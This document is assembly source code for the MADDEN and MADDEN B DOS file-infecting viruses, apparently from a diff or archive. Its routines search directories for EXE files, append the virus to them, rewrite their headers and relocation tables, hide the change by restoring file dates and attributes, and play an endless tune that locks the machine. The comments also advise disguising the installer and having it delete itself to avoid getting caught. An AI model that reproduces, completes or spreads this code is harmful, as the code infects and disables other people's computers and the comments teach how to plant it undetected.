dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
|
||||
dw 6087,0020,
|
||||
|
||||
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||
dw 3043,0006, 3619,0006, 4831,0006, 6087,0006
|
||||
dw 3043,0010,
|
||||
|
||||
dw 6087,0006,
|
||||
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
|
||||
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||
|
||||
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
|
||||
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
|
||||
dw 6087,0020,
|
||||
|
||||
dw 0ffffh
|
||||
;--------------------------------------------------------------------------
|
||||
;MADDEN virus main routine starts here
|
||||
VIRUS:
|
||||
push ax ;save startup info in ax
|
||||
mov ax,cs
|
||||
mov ds,ax ;set up DS=CS for the virus
|
||||
mov ax,es ;get PSP Seg
|
||||
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
|
||||
call SHOULDRUN ;run only when certain conditions met signalled by z set
|
||||
jnz REL1 ;conditions aren't met, go execute host program
|
||||
call SETSR ;modify SHOULDRUN procedure to activate conditions
|
||||
call NEW_DTA ;set up a new DTA location
|
||||
call FIND_FILE ;get an exe file to attack
|
||||
jnz TOON ;returned nz - no valid files left, play maddening toon!
|
||||
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
|
||||
call INFECT ;move program code to file we found to attack
|
||||
call REST_ATTRIBUTE ;restore the original file attributes and close the file
|
||||
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
|
||||
pop ax ;restore startup value of ax
|
||||
REL1: ;relocatable marker for host stack segment
|
||||
mov bx,HSTACK ;set up host program stack segment (ax=segment)
|
||||
cli ;interrupts off while changing stack
|
||||
mov ss,bx
|
||||
REL1A: ;marker for host stack pointer
|
||||
mov sp,OFFSET HSTACK
|
||||
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
|
||||
mov ds,WORD PTR [OLDDTA+2] ;and DS
|
||||
sti ;interrupts back on
|
||||
REL2: ;relocatable marker for host code segment
|
||||
jmp FAR PTR HOST ;begin execution of host program
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;First Level - Find a file which passes FILE_OK
|
||||
;
|
||||
;This routine does a complex directory search to find an EXE file in the
|
||||
;current directory, one of its subdirectories, or the root directory or one
|
||||
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
|
||||
;If you want to change the depth of the search, make sure to allocate enough
|
||||
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
|
||||
;since the recursive FINDBR uses a different DTA area for the search (see DOS
|
||||
;functions 4EH and 4FH) on each level.
|
||||
;
|
||||
FIND_FILE:
|
||||
mov al,'\' ;set up current directory path in USEFILE
|
||||
mov BYTE PTR [USEFILE],al
|
||||
mov si,OFFSET USEFILE+1
|
||||
xor dl,dl
|
||||
mov ah,47H
|
||||
int 21H ;get current dir, USEFILE= \dir
|
||||
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
|
||||
jnz FF2 ;not the root
|
||||
xor al,al ;make correction for root directory,
|
||||
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
|
||||
FF2: mov al,2
|
||||
mov [LEVEL],al ;search 2 subdirs deep
|
||||
call FINDBR ;attempt to locate a valid file
|
||||
jz FF3 ;found one - exit
|
||||
xor al,al ;nope - try the root directory
|
||||
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
|
||||
inc al ;al=1
|
||||
mov [LEVEL],al ;search one subdir deep
|
||||
call FINDBR ;attempt to find file
|
||||
FF3:
|
||||
ret ;exit with z flag set by FINDBR to indicate success/failure
|
||||
|
||||
;***************************************************************************
|
||||
; This routine enables MADDEN virus to compell the pc to play a
|
||||
;'maddening' toon when it can't find a file to infect
|
||||
;**************************************************************************
|
||||
TOON:
|
||||
cli ;interrupts off
|
||||
mov al,10110110xb ;the magic number
|
||||
out 43h,al ;send it
|
||||
lea si,MUZIK ;point (si) to our note table
|
||||
TOON2: cld ;must increment forward
|
||||
lodsw ;load word into ax and increment (si)
|
||||
cmp ax,0ffffh ;is it ffff - if so end of table
|
||||
jz GO_MUZIK2 ;so, time to jump into endless loop
|
||||
out 42h,al ;send LSB first
|
||||
mov al,ah ;place MSB in al
|
||||
out 42h,al ;send it next
|
||||
in al,61h ;get value to turn on speaker
|
||||
or al,00000011xb ;OR the gotten value
|
||||
out 61h,al ;now we turn on speaker
|
||||
lodsw ;load the repeat loop count into (ax)
|
||||
LOOP6: mov cx,8000 ;delay count
|
||||
LOOP7: loop LOOP7 ;do the delay
|
||||
dec ax ;decrement repeat count
|
||||
jnz loop6 ;if not = 0 loop back
|
||||
in al,61h ;all done
|
||||
and al,11111100xb ;number turns speaker off
|
||||
out 61h,al ;send it
|
||||
jmp short TOON2 ;now go do next note
|
||||
GO_MUZIK2: ;our loop point
|
||||
sti ;enable interrupts
|
||||
jmp TOON ;jump back to beginning - this code
|
||||
; has the additional advantage of
|
||||
;locking out CTRL-ALT-DEL reboot.
|
||||
;The user must do a hard reset to recover.
|
||||
;--------------------------------------------------------------------------
|
||||
;SEARCH FUNCTION
|
||||
;---------------------------------------------------------------------------
|
||||
;Second Level - Find in a branch
|
||||
;
|
||||
;This function searches the directory specified in USEFILE for EXE files.
|
||||
;after searching the specified directory, it searches subdirectories to the
|
||||
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
|
||||
;routine exits with Z set and leaves the file and path in USEFILE
|
||||
;
|
||||
FINDBR:
|
||||
call FINDEXE ;search current dir for EXE first
|
||||
jnc FBE3 ;found it - exit
|
||||
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
|
||||
jz FBE1 ;no - exit
|
||||
dec [LEVEL] ;yes - decrement LEVEL and continue
|
||||
mov di,OFFSET USEFILE ;'\curr_dir' is here
|
||||
mov si,OFFSET ALLFILE ;'\*.*' is here
|
||||
call CONCAT ;get '\curr_dir\*.*' in USEFILE
|
||||
inc di
|
||||
push di ;store pointer to first *
|
||||
call FIRSTDIR ;get first subdirectory
|
||||
jnz FBE ;couldn't find it, so quit
|
||||
FB1: ;otherwise, check it out
|
||||
pop di ;strip \*.* off of USEFILE
|
||||
xor al,al
|
||||
stosb
|
||||
mov di,OFFSET USEFILE
|
||||
mov bx,OFFSET DTA2+1EH
|
||||
mov al,[LEVEL]
|
||||
mov dl,2BH ;compute correct DTA location for subdir name
|
||||
mul dl ;which depends on the depth we're at in the search
|
||||
add bx,ax ;bx points to directory name
|
||||
mov si,bx
|
||||
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
|
||||
push di ;save position of first letter in sub_dir name
|
||||
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
|
||||
jz FBE2 ;if successful, exit
|
||||
call NEXTDIR ;get next subdirectory in this directory
|
||||
jz FB1 ;go check it if search successful
|
||||
FBE: ;else exit, NZ set, cleaned up
|
||||
inc [LEVEL] ;increment the level counter before exit
|
||||
pop di ;strip any path or file spec off of original
|
||||
xor al,al ;directory path
|
||||
stosb
|
||||
FBE1: mov al,1 ;return with NZ set
|
||||
or al,al
|
||||
ret
|
||||
|
||||
FBE2: pop di ;successful exit, pull this off the stack
|
||||
FBE3: xor al,al ;and set Z
|
||||
ret ;exit
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Third Level - Part A - Find an EXE file
|
||||
;
|
||||
;This function searches the path in USEFILE for an EXE file which passes
|
||||
;the test FILE_OK. This routine will return the full path of the EXE file
|
||||
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
|
||||
;with the c flag set. It will search a whole directory before giving up.
|
||||
;
|
||||
FINDEXE:
|
||||
mov dx,OFFSET DTA1 ;set new DTA for EXE search
|
||||
mov ah,1AH
|
||||
int 21H
|
||||
mov di,OFFSET USEFILE
|
||||
mov si,OFFSET EXEFILE
|
||||
call CONCAT ;set up USEFILE with '\dir\*.EXE'
|
||||
push di ;save position of '\' before '*.EXE'
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cx,3FH ;search first for any file
|
||||
mov ah,4EH
|
||||
int 21H
|
||||
NEXTEXE:
|
||||
or al,al ;is DOS return OK?
|
||||
jnz FEC ;no - quit with C set
|
||||
pop di
|
||||
inc di
|
||||
stosb ;truncate '\dir\*.EXE' to '\dir\'
|
||||
mov di,OFFSET USEFILE
|
||||
mov si,OFFSET DTA1+1EH
|
||||
call CONCAT ;setup file name '\dir\filename.exe'
|
||||
dec di
|
||||
push di
|
||||
call FILE_OK ;yes - is this a good file to use?
|
||||
jnc FENC ;yes - valid file found - exit with c reset
|
||||
mov ah,4FH
|
||||
int 21H ;do find next
|
||||
jmp SHORT NEXTEXE ;and go test it for validity
|
||||
|
||||
FEC: ;no valid file found, return with C set
|
||||
pop di
|
||||
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
|
||||
stc
|
||||
ret
|
||||
FENC: ;valid file found, return with NC
|
||||
pop di
|
||||
ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Third Level - Part B - Find a subdirectory
|
||||
;
|
||||
;This function searches the file path in USEFILE for subdirectories, excluding
|
||||
;the subdirectory header entries. If one is found, it returns with Z set, and
|
||||
;if not, it returns with NZ set.
|
||||
;There are two entry points here, FIRSTDIR, which does the search first, and
|
||||
;NEXTDIR, which does the search next.
|
||||
;
|
||||
FIRSTDIR:
|
||||
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
|
||||
push dx ;save it
|
||||
mov ah,1AH ;set DTA
|
||||
int 21H
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cx,10H ;search for a directory
|
||||
mov ah,4EH ;do search first function
|
||||
int 21H
|
||||
NEXTD1:
|
||||
pop bx ;get pointer to search table (DTA)
|
||||
or al,al ;successful search?
|
||||
jnz NEXTD3 ;no, quit with NZ set
|
||||
test BYTE PTR [bx+15H],10H ;is this a directory?
|
||||
jz NEXTDIR ;no, find another
|
||||
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
|
||||
jne NEXTD2 ;no - valid directory, exit, setting Z flag
|
||||
;else it was dir header entry, so fall through to next
|
||||
NEXTDIR: ;second entry point for search next
|
||||
call GET_DTA ;get proper DTA address again - may not be set up
|
||||
push dx
|
||||
mov ah,1AH ;set DTA
|
||||
int 21H
|
||||
mov ah,4FH
|
||||
int 21H ;do find next
|
||||
jmp SHORT NEXTD1 ;and loop to check the validity of the return
|
||||
|
||||
NEXTD2:
|
||||
xor al,al ;successful exit, set Z flag
|
||||
NEXTD3:
|
||||
ret ;exit routine
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Return the DTA address associated to LEVEL in dx. This is simply given by
|
||||
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
|
||||
;in its own DTA, since a search at a lower level occurs in the middle of the
|
||||
;higher level search, and we don't want the higher level being ruined by
|
||||
;corrupted data.
|
||||
;
|
||||
GET_DTA:
|
||||
mov dx,OFFSET DTA2
|
||||
mov al,2BH
|
||||
mul [LEVEL]
|
||||
add dx,ax ;return with dx= proper dta offset
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
|
||||
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
|
||||
;destination (or the first character of the second string, after moved).
|
||||
;
|
||||
CONCAT:
|
||||
mov al,byte ptr es:[di] ;find the end of string 1
|
||||
inc di
|
||||
or al,al
|
||||
jnz CONCAT
|
||||
dec di ;di points to the null at the end
|
||||
push di ;save it to return to the caller
|
||||
CONCAT2:
|
||||
cld
|
||||
lodsb ;move second string to end of first
|
||||
stosb
|
||||
or al,al
|
||||
jnz CONCAT2
|
||||
pop di ;and restore di to point to end of string 1
|
||||
ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Function to determine whether the EXE file specified in USEFILE is useable.
|
||||
;if so return nc, else return c
|
||||
;What makes an EXE file useable?:
|
||||
; a) The signature field in the EXE header must be 'MZ'. (These
|
||||
; are the first two bytes in the file.)
|
||||
; b) The Overlay Number field in the EXE header must be zero.
|
||||
; c) There must be room in the relocatable table for NUMRELS
|
||||
; more relocatables without enlarging it.
|
||||
; d) The word VIRUSID must not appear in the 2 bytes just before
|
||||
; the initial CS:0000 of the test file. If it does, the virus
|
||||
; is probably already in that file, so we skip it.
|
||||
;
|
||||
FILE_OK:
|
||||
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
|
||||
jc OK_END ;error in reading the file, so quit
|
||||
call CHECK_SIG_OVERLAY ;is the overlay number zero?
|
||||
jc OK_END ;no - exit with c set
|
||||
call REL_ROOM ;is there room in the relocatable table?
|
||||
jc OK_END ;no - exit
|
||||
call IS_ID_THERE ;is id at CS:0000?
|
||||
OK_END: ret ;return with c flag set properly
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
|
||||
;number is anything but zero.
|
||||
CHECK_SIG_OVERLAY:
|
||||
mov al,'M' ;check the signature first
|
||||
mov ah,'Z'
|
||||
cmp ax,WORD PTR [EXE_HDR]
|
||||
jz CSO_1 ;jump if OK
|
||||
stc ;else set carry and exit
|
||||
ret
|
||||
CSO_1: xor ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
|
||||
ret ;c is set if it's anything but 0
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function reads the 28 byte EXE file header for the file named in USEFILE.
|
||||
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
|
||||
;
|
||||
GET_EXE_HEADER:
|
||||
mov dx,OFFSET USEFILE
|
||||
mov ax,3D02H ;r/w access open file
|
||||
int 21H
|
||||
jc RE_RET ;error opening - C set - quit without closing
|
||||
mov [HANDLE],ax ;else save file handle
|
||||
mov bx,ax ;handle to bx
|
||||
mov cx,1CH ;read 28 byte EXE file header
|
||||
mov dx,OFFSET EXE_HDR ;into this buffer
|
||||
mov ah,3FH
|
||||
int 21H
|
||||
RE_RET: ret ;return with c set properly
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function determines if there are at least NUMRELS openings in the
|
||||
;current relocatable table in USEFILE. If there are, it returns with
|
||||
;carry reset, otherwise it returns with carry set. The computation
|
||||
;this routine does is to compare whether
|
||||
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
|
||||
;is >= than 4 * NUMRELS. If it is, then there is enough room
|
||||
;
|
||||
REL_ROOM:
|
||||
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
|
||||
add ax,ax
|
||||
add ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
|
||||
add ax,ax
|
||||
add ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
|
||||
cmp ax,4*NUMRELS ;enough room to put relocatables in?
|
||||
RR_RET: ret ;exit with carry set properly
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function determines whether the word at the initial CS:0000 in USEFILE
|
||||
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
|
||||
;it returns c reset.
|
||||
;
|
||||
IS_ID_THERE:
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
|
||||
add ax,WORD PTR [EXE_HDR+8] ;Header size
|
||||
mov dx,16
|
||||
mul dx
|
||||
mov cx,dx
|
||||
mov dx,ax ;cxdx = position to look for VIRUSID in file
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer, relative to beginning
|
||||
int 21H
|
||||
mov ah,3FH
|
||||
mov bx,[HANDLE]
|
||||
mov dx,OFFSET VIDC
|
||||
mov cx,2 ;read 2 bytes into VIDC
|
||||
int 21H
|
||||
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
|
||||
mov ax,[VIDC]
|
||||
cmp ax,[VIRUSID] ;is it the VIRUSID?
|
||||
clc
|
||||
jnz II_RET ;if not, then virus is not already in this file
|
||||
stc ;else it is probably there already
|
||||
II_RET: ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine makes sure file end is at paragraph boundary, so the virus
|
||||
;can be attached with a valid CS. Assumes file pointer is at end of file.
|
||||
SETBDY:
|
||||
mov al,BYTE PTR [FSIZE]
|
||||
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
|
||||
jz SB_E ;all set - exit
|
||||
mov cx,10H ;no - write any old bytes to even it up
|
||||
sub cl,al ;number of bytes to write in cx
|
||||
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
|
||||
add WORD PTR [FSIZE],cx ;update FSIZE
|
||||
adc WORD PTR [FSIZE+2],0
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
SB_E: ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine moves the virus (this program) to the end of the EXE file
|
||||
;Basically, it just copies everything here to there, and then goes and
|
||||
;adjusts the EXE file header and two relocatables in the program, so that
|
||||
;it will work in the new environment. It also makes sure the virus starts
|
||||
;on a paragraph boundary, and adds how many bytes are necessary to do that.
|
||||
;
|
||||
INFECT:
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer, relative to beginning
|
||||
int 21H ;go to end of file
|
||||
call SETBDY ;lengthen to a paragraph boundary if necessary
|
||||
mov cx,OFFSET FINAL ;last byte of code
|
||||
xor dx,dx ;first byte of code, DS:DX
|
||||
mov bx,[HANDLE] ;move virus code to end of file being attacked with
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
|
||||
inc bx
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx is that number
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to 1st relocatable
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
|
||||
mov bx,[HANDLE] ;from the EXE header
|
||||
mov cx,2
|
||||
mov ah,40H ;and write it to relocatable REL1+1
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
|
||||
inc bx ;at FSIZE+REL1A+1
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to place to write SP to
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
|
||||
mov bx,[HANDLE] ;from EXE header
|
||||
mov cx,2
|
||||
mov ah,40H ;and write it where it belongs
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
|
||||
add bx,1 ;at FSIZE+REL2+1 on disk
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx points to FSIZE+REL2+1
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer relavtive to start of file
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
|
||||
mov bx,[HANDLE]
|
||||
mov cx,4
|
||||
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
|
||||
int 21H
|
||||
;done writing relocatable vectors
|
||||
;so now adjust the EXE header values
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to start of file
|
||||
int 21H
|
||||
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
|
||||
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
|
||||
shr ax,cl
|
||||
mov bx,WORD PTR [FSIZE+2]
|
||||
and bl,0FH
|
||||
mov cl,4
|
||||
shl bl,cl
|
||||
add ah,bl
|
||||
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
|
||||
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
|
||||
mov bx,OFFSET FINAL ;compute new initial SS
|
||||
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
add ax,bx
|
||||
mov WORD PTR [EXE_HDR+14],ax ;and save it
|
||||
mov ax,OFFSET VIRUS ;get initial IP
|
||||
mov WORD PTR [EXE_HDR+20],ax ;and save it
|
||||
mov ax,STACKSIZE ;get initial SP
|
||||
mov WORD PTR [EXE_HDR+16],ax ;and save it
|
||||
mov dx,WORD PTR [FSIZE+2]
|
||||
mov ax,WORD PTR [FSIZE] ;calculate new file size
|
||||
mov bx,OFFSET FINAL
|
||||
add ax,bx
|
||||
xor bx,bx
|
||||
adc dx,bx ;put it in ax:dx
|
||||
add ax,200H ;and set up the new page count
|
||||
adc dx,bx ;page ct= (ax:dx+512)/512
|
||||
push ax
|
||||
mov cl,9
|
||||
shr ax,cl
|
||||
mov cl,7
|
||||
shl dx,cl
|
||||
add ax,dx
|
||||
mov WORD PTR [EXE_HDR+4],ax ;and save it here
|
||||
pop ax
|
||||
and ax,1FFH ;now calculate last page size
|
||||
mov WORD PTR [EXE_HDR+2],ax ;and put it here
|
||||
mov ax,NUMRELS ;adjust relocatables counter
|
||||
add WORD PTR [EXE_HDR+6],ax
|
||||
mov cx,1CH ;and save data at start of file
|
||||
mov dx,OFFSET EXE_HDR
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
|
||||
dec ax ;in order to calculate location of
|
||||
dec ax ;where to add relocatables
|
||||
mov bx,4 ;Location= (No in table-2)*4+Table Offset
|
||||
mul bx
|
||||
add ax,WORD PTR [EXE_HDR+24];table offset
|
||||
mov bx,0
|
||||
adc dx,bx ;dx:ax=end of old table in file
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to table end
|
||||
int 21H
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
|
||||
mov bx,OFFSET REL1
|
||||
inc bx ;offset of REL1
|
||||
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
|
||||
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
|
||||
mov bx,OFFSET REL2
|
||||
add bx,3 ;offset of REL2
|
||||
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
|
||||
mov WORD PTR [EXE_HDR+6],ax
|
||||
mov cx,8 ;and then write 8 bytes of data in file
|
||||
mov dx,OFFSET EXE_HDR
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
ret ;that's it, infection is complete!
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine determines whether the reproduction code should be executed.
|
||||
;If it returns Z, the reproduction code is executed, otherwise it is not.
|
||||
;Currently, it only executes if the system time variable is a multiple of
|
||||
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
|
||||
;executions of the program. TIMECT should be 2^n-1
|
||||
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
|
||||
;is run. This makes SHOULDRUN return Z for sure the first time, so it
|
||||
;definitely runs when this loader program is run, but after that, the time must
|
||||
;be an even multiple of TIMECT+1.
|
||||
;
|
||||
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
|
||||
;
|
||||
SHOULDRUN:
|
||||
xor ah,ah ;zero ax to start, set z flag
|
||||
SR1: ret ;this gets replaced by NOP when program runs
|
||||
int 1AH
|
||||
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
|
||||
ret ;return with z flag set if it is, else nz set
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;SETSR modifies SHOULDRUN so that the full procedure gets run
|
||||
;it is redundant after the initial load
|
||||
SETSR:
|
||||
mov al,90H ;NOP code
|
||||
mov BYTE PTR SR1,al ;put it in place of RET above
|
||||
ret ;and return
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine sets up the new DTA location at DTA1, and saves the location of
|
||||
;the initial DTA in the variable OLDDTA.
|
||||
NEW_DTA:
|
||||
mov ah,2FH ;get current DTA in ES:BX
|
||||
int 21H
|
||||
mov WORD PTR [OLDDTA],bx ;save it here
|
||||
mov ax,es
|
||||
mov WORD PTR [OLDDTA+2],ax
|
||||
mov ax,cs
|
||||
mov es,ax ;set up ES
|
||||
mov dx,OFFSET DTA1 ;set new DTA offset
|
||||
mov ah,1AH
|
||||
int 21H ;and tell DOS where we want it
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine reverses the action of NEW_DTA and restores the DTA to its
|
||||
;original value.
|
||||
RESTORE_DTA:
|
||||
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
|
||||
mov ax,WORD PTR [OLDDTA+2]
|
||||
mov ds,ax
|
||||
mov ah,1AH
|
||||
int 21H ;and tell DOS where to put it
|
||||
mov ax,cs ;restore ds before exiting
|
||||
mov ds,ax
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine saves the original file attribute in FATTR, the file date and
|
||||
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
|
||||
;file attribute to read/write, and leaves the file opened in read/write
|
||||
;mode (since it has to open the file to get the date and size), with the handle
|
||||
;it was opened under in HANDLE. The file path and name is in USEFILE.
|
||||
SAVE_ATTRIBUTE:
|
||||
mov ah,43H ;get file attr
|
||||
mov al,0
|
||||
mov dx,OFFSET USEFILE
|
||||
int 21H
|
||||
mov [FATTR],cl ;save it here
|
||||
mov ah,43H ;now set file attr to r/w
|
||||
mov al,1
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cl,0
|
||||
int 21H
|
||||
mov dx,OFFSET USEFILE
|
||||
mov al,2 ;now that we know it's r/w
|
||||
mov ah,3DH ;we can r/w access open file
|
||||
int 21H
|
||||
mov [HANDLE],ax ;save file handle here
|
||||
mov ah,57H ;and get the file date and time
|
||||
xor al,al
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov [FTIME],cx ;and save it here
|
||||
mov [FDATE],dx ;and here
|
||||
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
|
||||
mov WORD PTR [FSIZE+2],ax ;search routine
|
||||
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
|
||||
mov WORD PTR [FSIZE],ax
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Restore file attribute, and date and time of the file as they were before
|
||||
;it was infected. This also closes the file
|
||||
REST_ATTRIBUTE:
|
||||
mov dx,[FDATE] ;get old date and time
|
||||
mov cx,[FTIME]
|
||||
mov ah,57H ;set file date and time to old value
|
||||
mov al,1
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov ah,3EH
|
||||
mov bx,[HANDLE] ;close file
|
||||
int 21H
|
||||
mov cl,[FATTR]
|
||||
xor ch,ch
|
||||
mov ah,43H ;Set file attr to old value
|
||||
mov al,1
|
||||
mov dx,OFFSET USEFILE
|
||||
int 21H
|
||||
ret
|
||||
|
||||
FINAL: ;last byte of code to be kept in virus
|
||||
|
||||
VSEG ENDS
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Virus stack segment
|
||||
|
||||
VSTACK SEGMENT PARA STACK
|
||||
db STACKSIZE dup (?)
|
||||
VSTACK ENDS
|
||||
|
||||
END VIRUS ;Entry point is the virus
|
||||
@@ -0,0 +1,771 @@
|
||||
;The MADDEN B virus is an EXE file infector which can jump from directory to
|
||||
;directory and disk to disk. It attaches itself to the end of a file and
|
||||
;modifies the EXE file header so that it gets control first, before the host
|
||||
;program. When it is done doing its job, it passes control to the host program,
|
||||
;so that the host executes without a hint that the virus is there.
|
||||
|
||||
|
||||
.SEQ ;segments must appear in sequential order
|
||||
;to simulate conditions in actual active virus
|
||||
|
||||
|
||||
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
|
||||
|
||||
;HOSTSEG program code segment. The virus gains control before this routine and
|
||||
;attaches itself to another EXE file. As such, the host program for this
|
||||
;installer simply tries to delete itself off of disk and terminates. That is
|
||||
;worthwhile if you want to infect a system with the virus without getting
|
||||
;caught. Just execute the program that infects, and it disappears without a
|
||||
;trace. You might want to name the program something more innocuous, though.
|
||||
;MADDEN B also locks the pc into a 'siren' warble when it runs out
|
||||
;of files to infect. MADDEN, included in this archive plays a fast country
|
||||
;song. (MADDEN will assemble to an .file using a86, then link to produce
|
||||
;infected .exe form)
|
||||
|
||||
HOSTSEG SEGMENT BYTE
|
||||
ASSUME CS:HOSTSEG,SS:HSTACK
|
||||
|
||||
